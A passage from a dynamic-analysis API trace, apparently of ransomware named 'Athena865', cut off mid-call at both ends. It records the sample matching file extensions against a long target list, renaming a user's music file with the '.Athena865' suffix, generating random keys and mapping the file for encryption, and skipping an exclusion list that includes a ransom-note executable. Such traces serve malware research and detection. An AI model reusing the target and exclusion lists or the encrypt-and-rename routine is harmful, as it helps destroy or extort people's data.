returned -1 [0051.292] lstrlenW (lpString="tgz") returned 3 [0051.292] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1 [0051.292] lstrlenW (lpString="vbox") returned 4 [0051.292] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1 [0051.292] lstrlenW (lpString="vdi") returned 3 [0051.292] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1 [0051.292] lstrlenW (lpString="vhd") returned 3 [0051.292] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1 [0051.292] lstrlenW (lpString="vhdx") returned 4 [0051.292] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1 [0051.293] lstrlenW (lpString="avhd") returned 4 [0051.293] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1 [0051.293] lstrlenW (lpString="db") returned 2 [0051.293] lstrcmpiW (lpString1="p3", lpString2="db") returned 1 [0051.293] lstrlenW (lpString="db2") returned 3 [0051.293] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1 [0051.293] lstrlenW (lpString="db3") returned 3 [0051.293] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1 [0051.293] lstrlenW (lpString="dbf") returned 3 [0051.293] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1 [0051.293] lstrlenW (lpString="mdf") returned 3 [0051.293] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1 [0051.293] lstrlenW (lpString="mdb") returned 3 [0051.293] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1 [0051.293] lstrlenW (lpString="sql") returned 3 [0051.293] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1 [0051.293] lstrlenW (lpString="sqlite") returned 6 [0051.293] lstrcmpiW (lpString1="He.mp3", lpString2="sqlite") returned -1 [0051.293] lstrlenW (lpString="sqlite3") returned 7 [0051.293] lstrcmpiW (lpString1="AHe.mp3", lpString2="sqlite3") returned -1 [0051.293] lstrlenW (lpString="sqlitedb") returned 8 [0051.293] lstrcmpiW (lpString1="6AHe.mp3", lpString2="sqlitedb") returned -1 [0051.293] lstrlenW (lpString="xml") returned 3 [0051.293] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1 [0051.293] lstrlenW (lpString="$er") returned 3 [0051.293] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1 [0051.293] lstrlenW (lpString="4dd") returned 3 [0051.293] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1 [0051.293] lstrlenW (lpString="4dl") returned 3 [0051.293] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1 [0051.293] lstrlenW (lpString="^^^") returned 3 [0051.293] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1 [0051.293] lstrlenW (lpString="abs") returned 3 [0051.294] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1 [0051.294] lstrlenW (lpString="abx") returned 3 [0051.294] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1 [0051.294] lstrlenW (lpString="accdb") returned 5 [0051.294] lstrcmpiW (lpString1="e.mp3", lpString2="accdb") returned 1 [0051.294] lstrlenW (lpString="accdc") returned 5 [0051.294] lstrcmpiW (lpString1="e.mp3", lpString2="accdc") returned 1 [0051.294] lstrlenW (lpString="accde") returned 5 [0051.294] lstrcmpiW (lpString1="e.mp3", lpString2="accde") returned 1 [0051.294] lstrlenW (lpString="accdr") returned 5 [0051.294] lstrcmpiW (lpString1="e.mp3", lpString2="accdr") returned 1 [0051.294] lstrlenW (lpString="accdt") returned 5 [0051.294] lstrcmpiW (lpString1="e.mp3", lpString2="accdt") returned 1 [0051.294] lstrlenW (lpString="accdw") returned 5 [0051.294] lstrcmpiW (lpString1="e.mp3", lpString2="accdw") returned 1 [0051.294] lstrlenW (lpString="accft") returned 5 [0051.294] lstrcmpiW (lpString1="e.mp3", lpString2="accft") returned 1 [0051.294] lstrlenW (lpString="adb") returned 3 [0051.294] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0051.294] lstrlenW (lpString="adb") returned 3 [0051.294] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0051.294] lstrlenW (lpString="ade") returned 3 [0051.294] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1 [0051.294] lstrlenW (lpString="adf") returned 3 [0051.294] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1 [0051.294] lstrlenW (lpString="adn") returned 3 [0051.294] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1 [0051.294] lstrlenW (lpString="adp") returned 3 [0051.294] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1 [0051.294] lstrlenW (lpString="alf") returned 3 [0051.294] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1 [0051.294] lstrlenW (lpString="ask") returned 3 [0051.295] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1 [0051.295] lstrlenW (lpString="btr") returned 3 [0051.295] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1 [0051.295] lstrlenW (lpString="cat") returned 3 [0051.295] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1 [0051.295] lstrlenW (lpString="cdb") returned 3 [0051.295] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1 [0051.295] lstrlenW (lpString="ckp") returned 3 [0051.295] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1 [0051.295] lstrlenW (lpString="cma") returned 3 [0051.295] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1 [0051.295] lstrlenW (lpString="cpd") returned 3 [0051.295] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1 [0051.295] lstrlenW (lpString="dacpac") returned 6 [0051.295] lstrcmpiW (lpString1="He.mp3", lpString2="dacpac") returned 1 [0051.295] lstrlenW (lpString="dad") returned 3 [0051.295] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1 [0051.295] lstrlenW (lpString="dadiagrams") returned 10 [0051.295] lstrcmpiW (lpString1="Ti6AHe.mp3", lpString2="dadiagrams") returned 1 [0051.295] lstrlenW (lpString="daschema") returned 8 [0051.295] lstrcmpiW (lpString1="6AHe.mp3", lpString2="daschema") returned -1 [0051.295] lstrlenW (lpString="db-journal") returned 10 [0051.295] lstrcmpiW (lpString1="Ti6AHe.mp3", lpString2="db-journal") returned 1 [0051.295] lstrlenW (lpString="db-shm") returned 6 [0051.295] lstrcmpiW (lpString1="He.mp3", lpString2="db-shm") returned 1 [0051.295] lstrlenW (lpString="db-wal") returned 6 [0051.295] lstrcmpiW (lpString1="He.mp3", lpString2="db-wal") returned 1 [0051.295] lstrlenW (lpString="dbc") returned 3 [0051.295] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1 [0051.295] lstrlenW (lpString="dbs") returned 3 [0051.295] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1 [0051.295] lstrlenW (lpString="dbt") returned 3 [0051.295] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1 [0051.295] lstrlenW (lpString="dbv") returned 3 [0051.296] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1 [0051.296] lstrlenW (lpString="dbx") returned 3 [0051.296] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1 [0051.296] lstrlenW (lpString="dcb") returned 3 [0051.296] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1 [0051.296] lstrlenW (lpString="dct") returned 3 [0051.296] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1 [0051.296] lstrlenW (lpString="dcx") returned 3 [0051.296] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1 [0051.296] lstrlenW (lpString="ddl") returned 3 [0051.296] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1 [0051.296] lstrlenW (lpString="dlis") returned 4 [0051.296] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1 [0051.296] lstrlenW (lpString="dp1") returned 3 [0051.296] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1 [0051.296] lstrlenW (lpString="dqy") returned 3 [0051.296] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1 [0051.296] lstrlenW (lpString="dsk") returned 3 [0051.296] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1 [0051.296] lstrlenW (lpString="dsn") returned 3 [0051.296] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1 [0051.296] lstrlenW (lpString="dtsx") returned 4 [0051.296] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1 [0051.296] lstrlenW (lpString="dxl") returned 3 [0051.296] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1 [0051.296] lstrlenW (lpString="eco") returned 3 [0051.296] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1 [0051.296] lstrlenW (lpString="ecx") returned 3 [0051.296] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1 [0051.296] lstrlenW (lpString="edb") returned 3 [0051.296] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1 [0051.296] lstrlenW (lpString="epim") returned 4 [0051.296] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1 [0051.297] lstrlenW (lpString="fcd") returned 3 [0051.297] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1 [0051.297] lstrlenW (lpString="fdb") returned 3 [0051.297] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1 [0051.297] lstrlenW (lpString="fic") returned 3 [0051.297] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1 [0051.297] lstrlenW (lpString="flexolibrary") returned 12 [0051.297] lstrcmpiW (lpString1="-PTi6AHe.mp3", lpString2="flexolibrary") returned 1 [0051.297] lstrlenW (lpString="fm5") returned 3 [0051.297] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1 [0051.297] lstrlenW (lpString="fmp") returned 3 [0051.297] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1 [0051.297] lstrlenW (lpString="fmp12") returned 5 [0051.297] lstrcmpiW (lpString1="e.mp3", lpString2="fmp12") returned -1 [0051.297] lstrlenW (lpString="fmpsl") returned 5 [0051.297] lstrcmpiW (lpString1="e.mp3", lpString2="fmpsl") returned -1 [0051.297] lstrlenW (lpString="fol") returned 3 [0051.297] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1 [0051.297] lstrlenW (lpString="fp3") returned 3 [0051.297] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1 [0051.297] lstrlenW (lpString="fp4") returned 3 [0051.297] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1 [0051.297] lstrlenW (lpString="fp5") returned 3 [0051.297] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1 [0051.297] lstrlenW (lpString="fp7") returned 3 [0051.297] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1 [0051.297] lstrlenW (lpString="fpt") returned 3 [0051.297] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1 [0051.297] lstrlenW (lpString="frm") returned 3 [0051.297] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1 [0051.297] lstrlenW (lpString="gdb") returned 3 [0051.297] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1 [0051.297] lstrlenW (lpString="gdb") returned 3 [0051.298] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1 [0051.298] lstrlenW (lpString="grdb") returned 4 [0051.298] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1 [0051.298] lstrlenW (lpString="gwi") returned 3 [0051.298] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1 [0051.298] lstrlenW (lpString="hdb") returned 3 [0051.298] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1 [0051.298] lstrlenW (lpString="his") returned 3 [0051.298] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1 [0051.298] lstrlenW (lpString="ib") returned 2 [0051.298] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1 [0051.298] lstrlenW (lpString="idb") returned 3 [0051.298] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1 [0051.298] lstrlenW (lpString="ihx") returned 3 [0051.298] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1 [0051.298] lstrlenW (lpString="itdb") returned 4 [0051.298] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1 [0051.298] lstrlenW (lpString="itw") returned 3 [0051.298] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1 [0051.298] lstrlenW (lpString="jet") returned 3 [0051.298] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1 [0051.298] lstrlenW (lpString="jtx") returned 3 [0051.298] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1 [0051.298] lstrlenW (lpString="kdb") returned 3 [0051.298] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1 [0051.298] lstrlenW (lpString="kexi") returned 4 [0051.298] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1 [0051.298] lstrlenW (lpString="kexic") returned 5 [0051.298] lstrcmpiW (lpString1="e.mp3", lpString2="kexic") returned -1 [0051.298] lstrlenW (lpString="kexis") returned 5 [0051.298] lstrcmpiW (lpString1="e.mp3", lpString2="kexis") returned -1 [0051.298] lstrlenW (lpString="lgc") returned 3 [0051.299] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1 [0051.299] lstrlenW (lpString="lwx") returned 3 [0051.299] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1 [0051.299] lstrlenW (lpString="maf") returned 3 [0051.299] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1 [0051.299] lstrlenW (lpString="maq") returned 3 [0051.299] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1 [0051.299] lstrlenW (lpString="mar") returned 3 [0051.299] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1 [0051.299] lstrlenW (lpString="marshal") returned 7 [0051.299] lstrcmpiW (lpString1="AHe.mp3", lpString2="marshal") returned -1 [0051.299] lstrlenW (lpString="mas") returned 3 [0051.299] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1 [0051.299] lstrlenW (lpString="mav") returned 3 [0051.299] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1 [0051.299] lstrlenW (lpString="maw") returned 3 [0051.299] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1 [0051.299] lstrlenW (lpString="mdbhtml") returned 7 [0051.299] lstrcmpiW (lpString1="AHe.mp3", lpString2="mdbhtml") returned -1 [0051.299] lstrlenW (lpString="mdn") returned 3 [0051.299] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1 [0051.299] lstrlenW (lpString="mdt") returned 3 [0051.299] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1 [0051.299] lstrlenW (lpString="mfd") returned 3 [0051.299] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1 [0051.299] lstrlenW (lpString="mpd") returned 3 [0051.299] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1 [0051.299] lstrlenW (lpString="mrg") returned 3 [0051.299] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1 [0051.299] lstrlenW (lpString="mud") returned 3 [0051.299] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1 [0051.299] lstrlenW (lpString="mwb") returned 3 [0051.299] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1 [0051.300] lstrlenW (lpString="myd") returned 3 [0051.300] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1 [0051.300] lstrlenW (lpString="ndf") returned 3 [0051.300] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1 [0051.300] lstrlenW (lpString="nnt") returned 3 [0051.300] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1 [0051.300] lstrlenW (lpString="nrmlib") returned 6 [0051.300] lstrcmpiW (lpString1="He.mp3", lpString2="nrmlib") returned -1 [0051.300] lstrlenW (lpString="ns2") returned 3 [0051.300] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1 [0051.300] lstrlenW (lpString="ns3") returned 3 [0051.300] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1 [0051.300] lstrlenW (lpString="ns4") returned 3 [0051.300] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1 [0051.300] lstrlenW (lpString="nsf") returned 3 [0051.300] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1 [0051.300] lstrlenW (lpString="nv") returned 2 [0051.300] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1 [0051.300] lstrlenW (lpString="nv2") returned 3 [0051.300] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1 [0051.300] lstrlenW (lpString="nwdb") returned 4 [0051.300] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1 [0051.300] lstrlenW (lpString="nyf") returned 3 [0051.300] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1 [0051.300] lstrlenW (lpString="odb") returned 3 [0051.300] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1 [0051.300] lstrlenW (lpString="odb") returned 3 [0051.300] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1 [0051.300] lstrlenW (lpString="oqy") returned 3 [0051.300] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1 [0051.300] lstrlenW (lpString="ora") returned 3 [0051.300] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1 [0051.300] lstrlenW (lpString="orx") returned 3 [0051.301] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1 [0051.301] lstrlenW (lpString="owc") returned 3 [0051.301] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1 [0051.301] lstrlenW (lpString="p96") returned 3 [0051.301] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1 [0051.301] lstrlenW (lpString="p97") returned 3 [0051.301] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1 [0051.301] lstrlenW (lpString="pan") returned 3 [0051.301] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1 [0051.301] lstrlenW (lpString="pdb") returned 3 [0051.301] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1 [0051.301] lstrlenW (lpString="pdm") returned 3 [0051.301] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1 [0051.301] lstrlenW (lpString="pnz") returned 3 [0051.301] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1 [0051.301] lstrlenW (lpString="qry") returned 3 [0051.301] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1 [0051.301] lstrlenW (lpString="qvd") returned 3 [0051.301] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1 [0051.301] lstrlenW (lpString="rbf") returned 3 [0051.301] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1 [0051.301] lstrlenW (lpString="rctd") returned 4 [0051.301] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1 [0051.301] lstrlenW (lpString="rod") returned 3 [0051.301] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1 [0051.301] lstrlenW (lpString="rodx") returned 4 [0051.301] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1 [0051.301] lstrlenW (lpString="rpd") returned 3 [0051.301] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1 [0051.301] lstrlenW (lpString="rsd") returned 3 [0051.301] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1 [0051.301] lstrlenW (lpString="sas7bdat") returned 8 [0051.301] lstrcmpiW (lpString1="6AHe.mp3", lpString2="sas7bdat") returned -1 [0051.302] lstrlenW (lpString="sbf") returned 3 [0051.302] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1 [0051.302] lstrlenW (lpString="scx") returned 3 [0051.302] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1 [0051.302] lstrlenW (lpString="sdb") returned 3 [0051.302] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1 [0051.302] lstrlenW (lpString="sdc") returned 3 [0051.302] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1 [0051.302] lstrlenW (lpString="sdf") returned 3 [0051.302] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1 [0051.302] lstrlenW (lpString="sis") returned 3 [0051.302] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1 [0051.302] lstrlenW (lpString="spq") returned 3 [0051.302] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1 [0051.302] lstrlenW (lpString="te") returned 2 [0051.302] lstrcmpiW (lpString1="p3", lpString2="te") returned -1 [0051.302] lstrlenW (lpString="teacher") returned 7 [0051.302] lstrcmpiW (lpString1="AHe.mp3", lpString2="teacher") returned -1 [0051.302] lstrlenW (lpString="tmd") returned 3 [0051.302] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1 [0051.302] lstrlenW (lpString="tps") returned 3 [0051.302] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1 [0051.302] lstrlenW (lpString="trc") returned 3 [0051.302] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1 [0051.302] lstrlenW (lpString="trc") returned 3 [0051.302] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1 [0051.302] lstrlenW (lpString="trm") returned 3 [0051.302] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1 [0051.302] lstrlenW (lpString="udb") returned 3 [0051.302] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1 [0051.302] lstrlenW (lpString="udl") returned 3 [0051.302] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1 [0051.302] lstrlenW (lpString="usr") returned 3 [0051.303] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1 [0051.303] lstrlenW (lpString="v12") returned 3 [0051.303] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1 [0051.303] lstrlenW (lpString="vis") returned 3 [0051.303] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1 [0051.303] lstrlenW (lpString="vpd") returned 3 [0051.303] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1 [0051.303] lstrlenW (lpString="vvv") returned 3 [0051.303] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1 [0051.303] lstrlenW (lpString="wdb") returned 3 [0051.303] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1 [0051.303] lstrlenW (lpString="wmdb") returned 4 [0051.303] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1 [0051.303] lstrlenW (lpString="wrk") returned 3 [0051.303] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1 [0051.303] lstrlenW (lpString="xdb") returned 3 [0051.303] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1 [0051.303] lstrlenW (lpString="xld") returned 3 [0051.303] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1 [0051.303] lstrlenW (lpString="xmlff") returned 5 [0051.303] lstrcmpiW (lpString1="e.mp3", lpString2="xmlff") returned -1 [0051.303] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\0cT-PTi6AHe.mp3.Athena865") returned 78 [0051.303] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\0cT-PTi6AHe.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\0ct-pti6ahe.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\0cT-PTi6AHe.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\0ct-pti6ahe.mp3.athena865"), dwFlags=0x1) returned 1 [0051.304] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Music\\0cT-PTi6AHe.mp3.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\music\\0ct-pti6ahe.mp3.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.304] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=37911) returned 1 [0051.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.304] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.304] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.305] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.305] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.305] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9720, lpName=0x0) returned 0x154 [0051.305] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9720) returned 0x100000 [0051.307] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.308] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.308] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50bbf8 [0051.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bbf8 | out: hHeap=0x4f0000) returned 1 [0051.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0051.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0051.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.308] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.309] CloseHandle (hObject=0x154) returned 1 [0051.309] CloseHandle (hObject=0x17c) returned 1 [0051.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.311] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e780120, ftCreationTime.dwHighDateTime=0x1d4cca2, ftLastAccessTime.dwLowDateTime=0x9ef3e940, ftLastAccessTime.dwHighDateTime=0x1d4cce1, ftLastWriteTime.dwLowDateTime=0x9ef3e940, ftLastWriteTime.dwHighDateTime=0x1d4cce1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CqajU", cAlternateFileName="")) returned 1 [0051.311] lstrcmpiW (lpString1="CqajU", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.311] lstrcmpiW (lpString1="CqajU", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.311] lstrcmpiW (lpString1="CqajU", lpString2=".") returned 1 [0051.311] lstrcmpiW (lpString1="CqajU", lpString2="..") returned 1 [0051.311] lstrcmpiW (lpString1="CqajU", lpString2="windows") returned -1 [0051.311] lstrcmpiW (lpString1="CqajU", lpString2="bootmgr") returned 1 [0051.311] lstrcmpiW (lpString1="CqajU", lpString2="temp") returned -1 [0051.311] lstrcmpiW (lpString1="CqajU", lpString2="pagefile.sys") returned -1 [0051.311] lstrcmpiW (lpString1="CqajU", lpString2="boot") returned 1 [0051.311] lstrcmpiW (lpString1="CqajU", lpString2="ids.txt") returned -1 [0051.311] lstrcmpiW (lpString1="CqajU", lpString2="ntuser.dat") returned -1 [0051.311] lstrcmpiW (lpString1="CqajU", lpString2="perflogs") returned -1 [0051.311] lstrcmpiW (lpString1="CqajU", lpString2="MSBuild") returned -1 [0051.311] lstrlenW (lpString="CqajU") returned 5 [0051.311] lstrcpyW (in: lpString1=0x241e8b2, lpString2="CqajU" | out: lpString1="CqajU") returned="CqajU" [0051.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c4e8 [0051.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x5018a8 [0051.311] lstrcatW (in: lpString1="CqajU", 